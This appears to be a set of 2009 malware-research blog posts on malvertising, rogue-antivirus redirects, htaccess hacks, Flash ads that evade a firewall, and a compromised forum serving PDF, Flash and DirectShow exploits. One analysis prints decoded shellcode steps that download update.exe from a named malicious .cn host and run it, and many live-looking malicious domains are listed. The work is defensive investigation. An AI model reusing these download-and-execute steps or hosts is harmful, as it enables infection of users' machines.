HTML ActiveX Object Error


Today I ran into a strange message box being displayed while viewing Google images ... HTML ActiveX Object Error ... don't be fooled, it's yet another trick to push a rogue antivirus progam on your computer.

IPB Image
A quick look at the network captures reveals a 302 redirect.

IPB Image
But why are we getting redirected to blackporn1.com or blackpornmix.com? The answer is simple, the htaccess files on those websites have been hacked.
IPB Image
From blackporn1.com or blackpornmix.com we bump to tubeontvgl.com and uploadmoviez.com. Interesting point ... win-pc-defender.com, uploadmoviez.com and tubeontvgl.com share the same IP. blackpornmix.com has already been caught in htaccess hacks back in March 2009 - Ref.

Needless to say that the redirect will happen from other search engines too as seen below.

I have the impression that DoubleClick's vigilance is going downhill lately. This is the fourth malicious banner being discovered since April 10 2009 on high frequented websites.
  1. April 10: Rhapsody
  2. April 28: HP
  3. May 1: BestWestern
One can easily imagine how many people got infected in the past month by rogue antivirus products such as Antivirus 360 / 2009 / 2010, TotalVirusProtection etc ... especially if they use flash files to force downloads on peoples computers as seen below and because advertising companies release their attention again in the checking process of creatives.

Load.swf takes 2 parameters transmitted in the URL, t and u which represents the location of a download php script.

Oh .. btw, a 468x60 version of the malvertizement ft. Classmates is present on the DoubleClick servers ... it's actually listed as being the 728x90 banner size but its real size is 468x60. Surprised? I'm not ...

Warning: internetnetworkads.com - Nokia


Today 2 banners have been brought to my attention for suspicious behavior / whois registration. The advertisements feature Nokia and are distributed by internetnetworkads.com. Currently there is no malicious redirect but the link inside the creatives is very typical of a rotator (see below). internetnetworkads.com is registered by DIRECTI INTERNET SOLUTIONS PVT. LTD. and the creative contains obfuscated actionscript code ... 3 reasons to threat all content from internetnetworkads.com with extreme caution.

internetnetworkads.com returns a 404 error while the cmp folder pops up a login box.

Rotator.

A rotator is a link to a "Traffic Management System" which points to different destinations when requested several times. The system remembers your IP address on the server-side for a certain time period. After that time, or when you just use another IP address, you will again see the redirections when visiting the URL. Usually the redirections are based on a typical HTTP “302 Found” response with a new location from the server where the traffic management system is installed. Rotators typically look like:
www.example.com/in.cgi?default
www.example.com/tds/in.cgi?1
www.example.com/sutra/in.cgi?6

Outpost Webcontrol bypassed by Flash advertisements


Due to real life issues I haven't been much around lately and this morning while catching up with the latest malware news I was surprised when I noticed that some advertisements showed up in my IE session in despite of Outpost Webcontrol being active.
IPB Image

IPB Image
Flash content is blocked by default in my OP settings since I only allow Flash for trusted websites.
IPB Image
The network capture shows that we are dealing with Yahoo advertising. The link to the Flash file appears in clear at the adserver, next the Flash file is delivered to us and we clearly see that the type was correctly identified by the browser / Fiddler ... e.g. Content-Type: application/x-shockwave-flash.
IPB Image

IPB Image
I can't find a valid reason why these ads haven't been picked up by the Webcontrol Module. Furthermore you would think that the string /ads.* from the the ImproveNet List would do the job but it didn't. Further examination shows that the banner size 728*90 is not even present in the default Outpost settings. Just FYI, adding the banner size to the list does not stop the advert from being displayed.

Details will be transmitted to Agnitum and hopefully this problem can be solved quickly because I'm really worried about this issue. Blocking Flash with the firewall was one of the possible solutions to protect yourself from malvertizements but where are we heading if our firewall doesn't recognize a Flash file anymore ?

Reference: oneComesEthics.swf
QUOTE
The SWF (oneComesEthics.swf) is suspected to be malicious.
While Sandi seems unsure whether oneComesEthics.swf is malicious, a very quick analysis shows that the Flash file will request an executable from bintus-bahi.cn using the code below:

Two days ago the detection rate was 0/41 at Virustotal, today the detection is barely better with the score of 3/41. Only 3 AV vendors pick up the malicious Flash file ... IMHO way to go in improving and speeding up the inclusion of these malicious Flash files in the definitions. View Report

The New York Times victim of malvertizements


Times Site Was Victim of a Malicious Ad Swap
By David F. Gallagher
The New York Times Company said on Monday that NYTimes.com was the victim of an attacker who first posed as a legitimate advertiser, then started hitting site visitors with aggressive advertisements that appeared to be warnings about viruses.
......
The incident has been covered by several websites but one site in particular did draw my attention: Anatomy of a Malware Ad on NYTimes.com

The injection script posted by the author is very similar to the attacks at MySpace, allrecipes.com and Expedia involving prolinar.com and coincidence ... also uses includes02.js. Notice the Vonage ID ... Sandi posted earlier this month about incidents involving Vonage-Inc. One domain goes, another one shows up. Unfortunately the same advertising agencies keep on making the same errors over and over again while acquiring new advertisements. I'll repeat myself again .... It is time that advertising agencies start to investigate more seriously new offers before infecting innocent users like you and me.

HeavensPunishers - hp.teamclouds.com


HeavensPunishers phpbb board has been severly compromised. A whole series of exploits start of from there. Luckily several domains didn't resolve.
IPB Image
Usually the compromised websites are based on the PDF / Flash flaws but this time a new element appeared: for the first time I did encounter code taking advantage of the 0-day in Microsoft DirectShow (msvidctl.dll) exploit through a malformed PNG file. Today we will thus have a closer look at the files coming from ccikudor.cn. Upon arrival we are first hit by the PDF exploit, followed by the Flash and the PNG. The script is really a pain to decode as they "scrambeled" the whole javascript by using vars instead of the real object names and did hide little bits left and right.

In the obfuscated code we do find back a reference to evenSearchLooks.png.
IPB Image
Once cleaned up, the code already looks way clearer.
IPB Image
Our evenSearchLooks.png is not a valid PNG image. It looks more like an invalid media file header that runs the shellcode.
IPB Image

IPB Image
Firefox is unable to display the image, this does not necessarily mean that Firefox users are immune to this exploit.
IPB Image
Shellcode.

The shellcode is one long string in the value property of a DIV element:
IPB Image
It is extracted using getElementById with a regular expression (regex) applied to remove the junk characters. Once cleaned up it gives escaped unicode. After getting appropriate function addresses from kernel32.dll and urlmon.dll, the code does this:

CODE
call URLDownloadToFileA
hxxp://ccikudor.cn/qweqwe/update.php?id=1
[user temp]\update.exe

call WinExec
[user temp]\update.exe

call URLDownloadToFileA
(hex: 9090)
[user temp]crash.php

call WinExec
[user-temp]\crash.php

The second URLDownloadToFileA has an invalid parameter but would work if they had provided a second URL. My network traces don't have any traces of crash.php

A small update on The New York Times malvertizement attack from last weekend.

After sex-in-the-city.cn and russell-brand.cn we now have the-eagles.cn. From there we are redirected to 6cleanspyware.com.
IPB Image
Like everyone else I have been reading the different reports about the incident at the New York Times and let me get one thing straight: the bad guys don't swap or replace ads with bad ones, neither do they inject code in streams.

They rather add code to an existing page or activate a new webpage when the malvertizements go live if the banner itself is not a malicious Flash file. But it's so easy and convenient though to say my ads have been "poisoned" or whatever instead to admit that your advertisement department screwed up in the first place by not performing security check on everything.

Clicksor Interstitial Advert leads to malware


A Clicksor Interstitial Advert is currently redirecting people to a fake online scanner hosted at online-defense7.com. Back in Apr 26 2008 I blogged about a similar incident.
IPB Image
Note: Don't click on the fake warnings, they trigger a file download. Just click the skip this ad button.

A closer look at the source code shows us which links we need to follow in our network capture to track down all the websites involved in the browser hijack / redirect.
IPB Image
The network capture reveals that we are redirected to adrpxts.com.
IPB Image
The requested page contains some escaped code which immediately should ring a bell btw if you see / read this as an advertiser.
IPB Image
Below are the corresponding unescaped strings.

Today while doing some research on the Google Trends and BlackHat SEO I ran into a redirect using a Flash file again. We will use surfseek.net/menu.swf as an example for our analysis.
In the network capture we can see that 2 flash vars being defined. We are interested by the var called "l" which seems to be nothing else than garbage.

When we analyse the action script we see that they wrote a string replace function and once decoded we obtain surfseek.net/search.php?q=jaimee+grubbs+pics and getURL is then used to load the decoded link.

It is the first time though that I see the flash file as a referer in the network capture ...

Contact details and orders.

Although the 650 area code belongs to the state of California (CA), the website is hosted in Latvia with Chinese Whois information. Furthermore, when placing an order I never saw a single https request even though the website states that they are using a SECURE order form.
